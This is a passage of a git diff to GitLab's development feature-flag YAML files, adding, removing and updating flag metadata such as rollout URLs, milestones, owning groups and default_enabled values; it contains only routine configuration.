diff --git a/config/feature_flags/development/diffs_virtual_scrolling.yml b/config/feature_flags/development/diffs_virtual_scrolling.yml
index 2a36c3f0a8b..051fa15e1fa 100644
--- a/config/feature_flags/development/diffs_virtual_scrolling.yml
+++ b/config/feature_flags/development/diffs_virtual_scrolling.yml
@@ -1,6 +1,6 @@
---
name: diffs_virtual_scrolling
-introduced_by_url:
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/60312
rollout_issue_url:
milestone: '13.12'
type: development
diff --git a/config/feature_flags/development/disable_service_templates.yml b/config/feature_flags/development/disable_service_templates.yml
index 07e52224b98..5e9972a2171 100644
--- a/config/feature_flags/development/disable_service_templates.yml
+++ b/config/feature_flags/development/disable_service_templates.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/327436
milestone: '13.12'
type: development
group: group::ecosystem
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/drop_license_management_artifact.yml b/config/feature_flags/development/drop_license_management_artifact.yml
deleted file mode 100644
index 23c2290c07d..00000000000
--- a/config/feature_flags/development/drop_license_management_artifact.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: drop_license_management_artifact
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/31247
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/299114
-milestone: 13.0
-type: development
-group: group::composition analysis
-default_enabled: true
diff --git a/config/feature_flags/development/efficient_counter_attribute.yml b/config/feature_flags/development/efficient_counter_attribute.yml
index 98c2b1ce314..ee44bd77d60 100644
--- a/config/feature_flags/development/efficient_counter_attribute.yml
+++ b/config/feature_flags/development/efficient_counter_attribute.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35878
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/238535
milestone: '13.3'
type: development
-group: group::continuous integration
+group: group::pipeline execution
default_enabled: false
diff --git a/config/feature_flags/development/enforce_max_attachment_size_upload_api.yml b/config/feature_flags/development/enforce_max_attachment_size_upload_api.yml
index f8e70d05939..25e193aa590 100644
--- a/config/feature_flags/development/enforce_max_attachment_size_upload_api.yml
+++ b/config/feature_flags/development/enforce_max_attachment_size_upload_api.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/325787
milestone: '13.11'
type: development
group: group::source code
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/erase_traces_from_already_archived_jobs_when_archiving_again.yml b/config/feature_flags/development/erase_traces_from_already_archived_jobs_when_archiving_again.yml
index ed6d86df37b..a4e18f99349 100644
--- a/config/feature_flags/development/erase_traces_from_already_archived_jobs_when_archiving_again.yml
+++ b/config/feature_flags/development/erase_traces_from_already_archived_jobs_when_archiving_again.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56353
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326679
milestone: "13.11"
type: development
-group: group::continuous integration
+group: group::pipeline execution
default_enabled: true
diff --git a/config/feature_flags/development/feature_flag_api.yml b/config/feature_flags/development/feature_flag_api.yml
deleted file mode 100644
index 167b5ff4cf2..00000000000
--- a/config/feature_flags/development/feature_flag_api.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: feature_flag_api
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18198
-rollout_issue_url:
-milestone: '12.4'
-type: development
-group: group::release
-default_enabled: false
diff --git a/config/feature_flags/development/fetch_remote_params.yml b/config/feature_flags/development/fetch_remote_params.yml
new file mode 100644
index 00000000000..3d0a6d3008e
--- /dev/null
+++ b/config/feature_flags/development/fetch_remote_params.yml
@@ -0,0 +1,8 @@
+---
+name: fetch_remote_params
+introduced_by_url:
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/325528
+milestone: '13.12'
+type: development
+group: group::gitaly
+default_enabled: false
diff --git a/config/feature_flags/development/find_remote_root_refs_inmemory.yml b/config/feature_flags/development/find_remote_root_refs_inmemory.yml
deleted file mode 100644
index 18e2e2b366a..00000000000
--- a/config/feature_flags/development/find_remote_root_refs_inmemory.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: find_remote_root_refs_inmemory
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/60583
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/329664
-milestone: '13.12'
-type: development
-group: group::gitaly
-default_enabled: true
diff --git a/config/feature_flags/development/git_push_create_all_pipelines.yml b/config/feature_flags/development/git_push_create_all_pipelines.yml
index 3f651fab8ec..db0bcde251f 100644
--- a/config/feature_flags/development/git_push_create_all_pipelines.yml
+++ b/config/feature_flags/development/git_push_create_all_pipelines.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/27
rollout_issue_url:
milestone: '11.10'
type: development
-group: group::continuous integration
+group: group::pipeline execution
default_enabled: false
diff --git a/config/feature_flags/development/gitaly_backup.yml b/config/feature_flags/development/gitaly_backup.yml
new file mode 100644
index 00000000000..4f7a0a4baf9
--- /dev/null
+++ b/config/feature_flags/development/gitaly_backup.yml
@@ -0,0 +1,8 @@
+---
+name: gitaly_backup
+introduced_by_url: https://gitlab.com/gitlab-org/gitaly/-/merge_requests/3554
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/333034
+milestone: '14.0'
+type: development
+group: group::gitaly
+default_enabled: false
diff --git a/config/feature_flags/development/github_review_importer_query_only_unimported_merge_requests.yml b/config/feature_flags/development/github_review_importer_query_only_unimported_merge_requests.yml
new file mode 100644
index 00000000000..511b9a6a2ec
--- /dev/null
+++ b/config/feature_flags/development/github_review_importer_query_only_unimported_merge_requests.yml
@@ -0,0 +1,8 @@
+---
+name: github_review_importer_query_only_unimported_merge_requests
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62036
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/332982
+milestone: '14.0'
+type: development
+group: group::import
+default_enabled: true
diff --git a/config/feature_flags/development/gitlab_ci_archived_trace_consistent_reads.yml b/config/feature_flags/development/gitlab_ci_archived_trace_consistent_reads.yml
index c2a64263f08..5e4af60016e 100644
--- a/config/feature_flags/development/gitlab_ci_archived_trace_consistent_reads.yml
+++ b/config/feature_flags/development/gitlab_ci_archived_trace_consistent_reads.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53716
rollout_issue_url:
milestone: '13.9'
type: development
-group: group::continuous integration
+group: group::pipeline execution
default_enabled: false
diff --git a/config/feature_flags/development/gitlab_ci_builds_queue_limit.yml b/config/feature_flags/development/gitlab_ci_builds_queue_limit.yml
deleted file mode 100644
index cef1fc98f52..00000000000
--- a/config/feature_flags/development/gitlab_ci_builds_queue_limit.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: gitlab_ci_builds_queue_limit
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54579
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/323201
-milestone: '13.10'
-type: development
-group: group::continuous integration
-default_enabled: true
diff --git a/config/feature_flags/development/gitlab_ci_builds_queuing_metrics.yml b/config/feature_flags/development/gitlab_ci_builds_queuing_metrics.yml
index 49dd857f57f..5551e249053 100644
--- a/config/feature_flags/development/gitlab_ci_builds_queuing_metrics.yml
+++ b/config/feature_flags/development/gitlab_ci_builds_queuing_metrics.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54909
rollout_issue_url:
milestone: '13.10'
type: development
-group: group::continuous integration
+group: group::pipeline execution
default_enabled: false
diff --git a/config/feature_flags/development/gitlab_ci_trace_read_consistency.yml b/config/feature_flags/development/gitlab_ci_trace_read_consistency.yml
deleted file mode 100644
index ee0b4e46924..00000000000
--- a/config/feature_flags/development/gitlab_ci_trace_read_consistency.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: gitlab_ci_trace_read_consistency
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46976
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/320938
-milestone: '13.9'
-type: development
-group: group::continuous integration
-default_enabled: true
diff --git a/config/feature_flags/development/graphql_pipeline_details.yml b/config/feature_flags/development/graphql_pipeline_details.yml
index 55cf5caa332..57b32c55da3 100644
--- a/config/feature_flags/development/graphql_pipeline_details.yml
+++ b/config/feature_flags/development/graphql_pipeline_details.yml
@@ -5,3 +5,4 @@ rollout_issue_url:
type: development
group: group::pipeline authoring
default_enabled: true
+milestone: '13.6'
diff --git a/config/feature_flags/development/graphql_pipeline_details_users.yml b/config/feature_flags/development/graphql_pipeline_details_users.yml
index a52cf23c878..97a2918bed5 100644
--- a/config/feature_flags/development/graphql_pipeline_details_users.yml
+++ b/config/feature_flags/development/graphql_pipeline_details_users.yml
@@ -1,6 +1,6 @@
---
name: graphql_pipeline_details_users
-introduced_by_url:
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52092
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/299112
milestone: '13.9'
type: development
diff --git a/config/feature_flags/development/group_level_protected_environments.yml b/config/feature_flags/development/group_level_protected_environments.yml
new file mode 100644
index 00000000000..598513d4283
--- /dev/null
+++ b/config/feature_flags/development/group_level_protected_environments.yml
@@ -0,0 +1,8 @@
+---
+name: group_level_protected_environments
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61575
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/331085
+milestone: '14.0'
+type: development
+group: group::release
+default_enabled: false
diff --git a/config/feature_flags/development/helm_packages.yml b/config/feature_flags/development/helm_packages.yml
new file mode 100644
index 00000000000..2e188ecd46f
--- /dev/null
+++ b/config/feature_flags/development/helm_packages.yml
@@ -0,0 +1,8 @@
+---
+name: helm_packages
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61014
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/331693
+milestone: '14.0'
+type: development
+group: group::package
+default_enabled: false
diff --git a/config/feature_flags/development/honor_escaped_markdown.yml b/config/feature_flags/development/honor_escaped_markdown.yml
deleted file mode 100644
index 6a8f62d5b74..00000000000
--- a/config/feature_flags/development/honor_escaped_markdown.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: honor_escaped_markdown
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45922
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/300531
-milestone: '13.9'
-type: development
-group: 'group::project management'
-default_enabled: false
diff --git a/config/feature_flags/development/improved_emoji_picker.yml b/config/feature_flags/development/improved_emoji_picker.yml
index 211f0264446..c014328fad1 100644
--- a/config/feature_flags/development/improved_emoji_picker.yml
+++ b/config/feature_flags/development/improved_emoji_picker.yml
@@ -1,6 +1,6 @@
---
name: improved_emoji_picker
-introduced_by_url:
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54469
rollout_issue_url:
milestone: '13.9'
type: development
diff --git a/config/feature_flags/development/include_lfs_blobs_in_archive.yml b/config/feature_flags/development/include_lfs_blobs_in_archive.yml
deleted file mode 100644
index c2908fb28da..00000000000
--- a/config/feature_flags/development/include_lfs_blobs_in_archive.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: include_lfs_blobs_in_archive
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/44116
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/268409
-milestone: '13.5'
-type: development
-group: group::source code
-default_enabled: true
diff --git a/config/feature_flags/development/infrastructure_registry_page.yml b/config/feature_flags/development/infrastructure_registry_page.yml
index fcb34f9d05b..af78744280a 100644
--- a/config/feature_flags/development/infrastructure_registry_page.yml
+++ b/config/feature_flags/development/infrastructure_registry_page.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326460
milestone: '13.11'
type: development
group: group::package
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/ingress_modsecurity.yml b/config/feature_flags/development/ingress_modsecurity.yml
deleted file mode 100644
index 1dc7a1d6a52..00000000000
--- a/config/feature_flags/development/ingress_modsecurity.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ingress_modsecurity
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20194
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/258554
-milestone: '12.5'
-type: development
-group: group::container security
-default_enabled: false
diff --git a/config/feature_flags/development/inherited_issuable_templates.yml b/config/feature_flags/development/inherited_issuable_templates.yml
deleted file mode 100644
index 403361ff784..00000000000
--- a/config/feature_flags/development/inherited_issuable_templates.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: inherited_issuable_templates
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52360
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/321247
-milestone: '13.9'
-type: development
-group: group::project management
-default_enabled: true
diff --git a/config/feature_flags/development/introduce_marker_ranges.yml b/config/feature_flags/development/introduce_marker_ranges.yml
deleted file mode 100644
index de59cf0e906..00000000000
--- a/config/feature_flags/development/introduce_marker_ranges.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: introduce_marker_ranges
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55669
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/324068
-milestone: '13.10'
-type: development
-group: group::source code
-default_enabled: false
diff --git a/config/feature_flags/development/issue_rebalancing_with_retry.yml b/config/feature_flags/development/issue_rebalancing_with_retry.yml
index cba1b77f26e..c30d919d592 100644
--- a/config/feature_flags/development/issue_rebalancing_with_retry.yml
+++ b/config/feature_flags/development/issue_rebalancing_with_retry.yml
@@ -1,6 +1,6 @@
---
name: issue_rebalancing_with_retry
-introduced_by_url:
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59744
rollout_issue_url:
milestone: '13.11'
type: development
diff --git a/config/feature_flags/development/iteration_cadences.yml b/config/feature_flags/development/iteration_cadences.yml
new file mode 100644
index 00000000000..2a496449a6a
--- /dev/null
+++ b/config/feature_flags/development/iteration_cadences.yml
@@ -0,0 +1,8 @@
+---
+name: iteration_cadences
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54822
+rollout_issue_url:
+milestone: '13.10'
+type: development
+group: group::project management
+default_enabled: false
diff --git a/config/feature_flags/development/jobs_table_vue.yml b/config/feature_flags/development/jobs_table_vue.yml
index ef6fda61736..ea489278b20 100644
--- a/config/feature_flags/development/jobs_table_vue.yml
+++ b/config/feature_flags/development/jobs_table_vue.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57155
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/327500
milestone: '13.11'
type: development
-group: group::continuous integration
+group: group::pipeline execution
default_enabled: false
diff --git a/config/feature_flags/development/labels_widget.yml b/config/feature_flags/development/labels_widget.yml
new file mode 100644
index 00000000000..07045a13c30
--- /dev/null
+++ b/config/feature_flags/development/labels_widget.yml
@@ -0,0 +1,8 @@
+---
+name: labels_widget
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62898
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/332327
+milestone: '14.0'
+type: development
+group: group::project management
+default_enabled: false
diff --git a/config/feature_flags/development/limit_projects_in_groups_api.yml b/config/feature_flags/development/limit_projects_in_groups_api.yml
deleted file mode 100644
index b2046ce2c29..00000000000
--- a/config/feature_flags/development/limit_projects_in_groups_api.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: limit_projects_in_groups_api
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20023
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/257829
-milestone: '12.6'
-type: development
-group: group::access
-default_enabled: true
diff --git a/config/feature_flags/development/load_balancing_atomic_replica.yml b/config/feature_flags/development/load_balancing_atomic_replica.yml
deleted file mode 100644
index 4eb55427507..00000000000
--- a/config/feature_flags/development/load_balancing_atomic_replica.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: load_balancing_atomic_replica
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49294
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/291193
-milestone: '13.11'
-type: development
-group: group::database
-default_enabled: true
diff --git a/config/feature_flags/development/load_balancing_for_build_hooks_worker.yml b/config/feature_flags/development/load_balancing_for_build_hooks_worker.yml
deleted file mode 100644
index 41c066c4de9..00000000000
--- a/config/feature_flags/development/load_balancing_for_build_hooks_worker.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: load_balancing_for_build_hooks_worker
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57575
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326095
-milestone: '13.11'
-type: development
-group: group::memory
-default_enabled: false
diff --git a/config/feature_flags/development/load_balancing_for_build_queue_worker.yml b/config/feature_flags/development/load_balancing_for_build_queue_worker.yml
new file mode 100644
index 00000000000..1b80372ab82
--- /dev/null
+++ b/config/feature_flags/development/load_balancing_for_build_queue_worker.yml
@@ -0,0 +1,8 @@
+---
+name: load_balancing_for_build_queue_worker
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63212
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/332586
+milestone: '14.0'
+type: development
+group: group::memory
+default_enabled: false
diff --git a/config/feature_flags/development/load_balancing_for_bulk_cron_workers.yml b/config/feature_flags/development/load_balancing_for_bulk_cron_workers.yml
deleted file mode 100644
index d0a3ee51f0c..00000000000
--- a/config/feature_flags/development/load_balancing_for_bulk_cron_workers.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: load_balancing_for_bulk_cron_workers
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58345
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326721
-milestone: '13.11'
-type: development
-group: group::global search
-default_enabled: false
diff --git a/config/feature_flags/development/load_balancing_for_expire_pipeline_cache_worker.yml b/config/feature_flags/development/load_balancing_for_expire_pipeline_cache_worker.yml
new file mode 100644
index 00000000000..07c38c15230
--- /dev/null
+++ b/config/feature_flags/development/load_balancing_for_expire_pipeline_cache_worker.yml
@@ -0,0 +1,8 @@
+---
+name: load_balancing_for_expire_pipeline_cache_worker
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62073
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/331360
+milestone: '14.0'
+type: development
+group: group::memory
+default_enabled: false
diff --git a/config/feature_flags/development/load_balancing_for_pipeline_hooks_worker.yml b/config/feature_flags/development/load_balancing_for_pipeline_hooks_worker.yml
new file mode 100644
index 00000000000..8e1794631f5
--- /dev/null
+++ b/config/feature_flags/development/load_balancing_for_pipeline_hooks_worker.yml
@@ -0,0 +1,8 @@
+---
+name: load_balancing_for_pipeline_hooks_worker
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62104
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/331424
+milestone: '14.0'
+type: development
+group: group::memory
+default_enabled: false
diff --git a/config/feature_flags/development/load_balancing_for_pipeline_process_worker.yml b/config/feature_flags/development/load_balancing_for_pipeline_process_worker.yml
deleted file mode 100644
index 08d7f6617d2..00000000000
--- a/config/feature_flags/development/load_balancing_for_pipeline_process_worker.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: load_balancing_for_pipeline_process_worker
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61766
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/330960
-milestone: '13.12'
-type: development
-group: group::continuous integration
-default_enabled: false
diff --git a/config/feature_flags/development/load_balancing_for_web_hook_worker.yml b/config/feature_flags/development/load_balancing_for_web_hook_worker.yml
new file mode 100644
index 00000000000..f9c191e3ab4
--- /dev/null
+++ b/config/feature_flags/development/load_balancing_for_web_hook_worker.yml
@@ -0,0 +1,8 @@
+---
+name: load_balancing_for_web_hook_worker
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62075
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/331365
+milestone: '14.0'
+type: development
+group: group::memory
+default_enabled: false
diff --git a/config/feature_flags/development/main_branch_over_master.yml b/config/feature_flags/development/main_branch_over_master.yml
index 5a0c08c25f0..a1215ac340f 100644
--- a/config/feature_flags/development/main_branch_over_master.yml
+++ b/config/feature_flags/development/main_branch_over_master.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/329190
milestone: '13.12'
type: development
group: group::source code
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/managed_alerts_deprecation.yml b/config/feature_flags/development/managed_alerts_deprecation.yml
new file mode 100644
index 00000000000..f849aa33141
--- /dev/null
+++ b/config/feature_flags/development/managed_alerts_deprecation.yml
@@ -0,0 +1,8 @@
+---
+name: managed_alerts_deprecation
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62528
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/331863
+milestone: '14.0'
+type: development
+group: group::monitor
+default_enabled: true
diff --git a/config/feature_flags/development/maven_metadata_by_path_with_optimization_fence.yml b/config/feature_flags/development/maven_metadata_by_path_with_optimization_fence.yml
deleted file mode 100644
index 7b55cde4998..00000000000
--- a/config/feature_flags/development/maven_metadata_by_path_with_optimization_fence.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: maven_metadata_by_path_with_optimization_fence
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57041
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/325460
-milestone: '13.11'
-type: development
-group: group::optimize
-default_enabled: true
diff --git a/config/feature_flags/development/merge_base_pipeline_for_metrics_comparison.yml b/config/feature_flags/development/merge_base_pipeline_for_metrics_comparison.yml
deleted file mode 100644
index 1fdb8d5bc6d..00000000000
--- a/config/feature_flags/development/merge_base_pipeline_for_metrics_comparison.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: merge_base_pipeline_for_metrics_comparison
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61282
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/330809
-milestone: '13.12'
-type: development
-group: group::testing
-default_enabled: false
diff --git a/config/feature_flags/development/mrc_api_use_raw_diffs_from_gitaly.yml b/config/feature_flags/development/mrc_api_use_raw_diffs_from_gitaly.yml
index 3f2381e9ff6..a75824d3c24 100644
--- a/config/feature_flags/development/mrc_api_use_raw_diffs_from_gitaly.yml
+++ b/config/feature_flags/development/mrc_api_use_raw_diffs_from_gitaly.yml
@@ -5,3 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/225322
type: development
group: group::code review
default_enabled: false
+milestone: '13.6'
diff --git a/config/feature_flags/development/notification_setting_recipient_refactor.yml b/config/feature_flags/development/notification_setting_recipient_refactor.yml
deleted file mode 100644
index 8e070034170..00000000000
--- a/config/feature_flags/development/notification_setting_recipient_refactor.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: notification_setting_recipient_refactor
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57688
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/327303
-milestone: '13.11'
-type: development
-group: group::code review
-default_enabled: true
diff --git a/config/feature_flags/development/optimize_linkable_attributes.yml b/config/feature_flags/development/optimize_linkable_attributes.yml
deleted file mode 100644
index 8f35306b4ac..00000000000
--- a/config/feature_flags/development/optimize_linkable_attributes.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: optimize_linkable_attributes
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59983
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/328696
-milestone: '13.12'
-type: development
-group: group::source code
-default_enabled: false
diff --git a/config/feature_flags/development/optimize_merge_request_parser.yml b/config/feature_flags/development/optimize_merge_request_parser.yml
new file mode 100644
index 00000000000..9e65f5412c4
--- /dev/null
+++ b/config/feature_flags/development/optimize_merge_request_parser.yml
@@ -0,0 +1,8 @@
+---
+name: optimize_merge_request_parser
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62490/
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/331893
+milestone: '14.0'
+type: development
+group: group::source code
+default_enabled: false
diff --git a/config/feature_flags/development/packages_finder_helper_deploy_token.yml b/config/feature_flags/development/packages_finder_helper_deploy_token.yml
deleted file mode 100644
index b847942706a..00000000000
--- a/config/feature_flags/development/packages_finder_helper_deploy_token.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: packages_finder_helper_deploy_token
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58497
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326808
-milestone: '13.11'
-type: development
-group: group::package
-default_enabled: true
diff --git a/config/feature_flags/development/periodic_project_authorization_update_via_replica.yml b/config/feature_flags/development/periodic_project_authorization_update_via_replica.yml
deleted file mode 100644
index abbc3faeb3a..00000000000
--- a/config/feature_flags/development/periodic_project_authorization_update_via_replica.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: periodic_project_authorization_update_via_replica
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58752
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/327092
-milestone: '13.11'
-type: development
-group: group::access
-default_enabled: false
diff --git a/config/feature_flags/development/pick_into_project.yml b/config/feature_flags/development/pick_into_project.yml
deleted file mode 100644
index fc28527d5a3..00000000000
--- a/config/feature_flags/development/pick_into_project.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: pick_into_project
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55970
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/324154
-milestone: '13.10'
-type: development
-group: group::source code
-default_enabled: true
diff --git a/config/feature_flags/development/postgres_hll_batch_counting.yml b/config/feature_flags/development/postgres_hll_batch_counting.yml
deleted file mode 100644
index 87d3c7816a1..00000000000
--- a/config/feature_flags/development/postgres_hll_batch_counting.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: postgres_hll_batch_counting
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48233
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/285485
-milestone: '13.7'
-type: development
-group: group::product analytics
-default_enabled: false
diff --git a/config/feature_flags/development/preload_associations_jobs_request_api_endpoint.yml b/config/feature_flags/development/preload_associations_jobs_request_api_endpoint.yml
index 92f63808bd8..cafe1485658 100644
--- a/config/feature_flags/development/preload_associations_jobs_request_api_endpoint.yml
+++ b/config/feature_flags/development/preload_associations_jobs_request_api_endpoint.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57694
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326477
milestone: "13.11"
type: development
-group: group::continuous integration
+group: group::pipeline execution
default_enabled: true
diff --git a/config/feature_flags/development/prevent_retry_of_retried_jobs.yml b/config/feature_flags/development/prevent_retry_of_retried_jobs.yml
new file mode 100644
index 00000000000..d55032e0502
--- /dev/null
+++ b/config/feature_flags/development/prevent_retry_of_retried_jobs.yml
@@ -0,0 +1,8 @@
+---
+name: prevent_retry_of_retried_jobs
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62349
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/331695
+milestone: '14.0'
+type: development
+group: group::pipeline execution
+default_enabled: true
diff --git a/config/feature_flags/development/push_rules_supersede_code_owners.yml b/config/feature_flags/development/push_rules_supersede_code_owners.yml
index 504cd7ec38e..2341556502f 100644
--- a/config/feature_flags/development/push_rules_supersede_code_owners.yml
+++ b/config/feature_flags/development/push_rules_supersede_code_owners.yml
@@ -5,3 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/262019
type: development
group: group::code review
default_enabled: true
+milestone: '13.5'
diff --git a/config/feature_flags/development/read_container_registry_access_level.yml b/config/feature_flags/development/read_container_registry_access_level.yml
new file mode 100644
index 00000000000..9f4a223a169
--- /dev/null
+++ b/config/feature_flags/development/read_container_registry_access_level.yml
@@ -0,0 +1,8 @@
+---
+name: read_container_registry_access_level
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55071
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/332751
+milestone: '14.0'
+type: development
+group: group::package
+default_enabled: false
diff --git a/config/feature_flags/development/redirect_to_latest_template_jobs_browser_performance_testing.yml b/config/feature_flags/development/redirect_to_latest_template_jobs_browser_performance_testing.yml
new file mode 100644
index 00000000000..37c475067a3
--- /dev/null
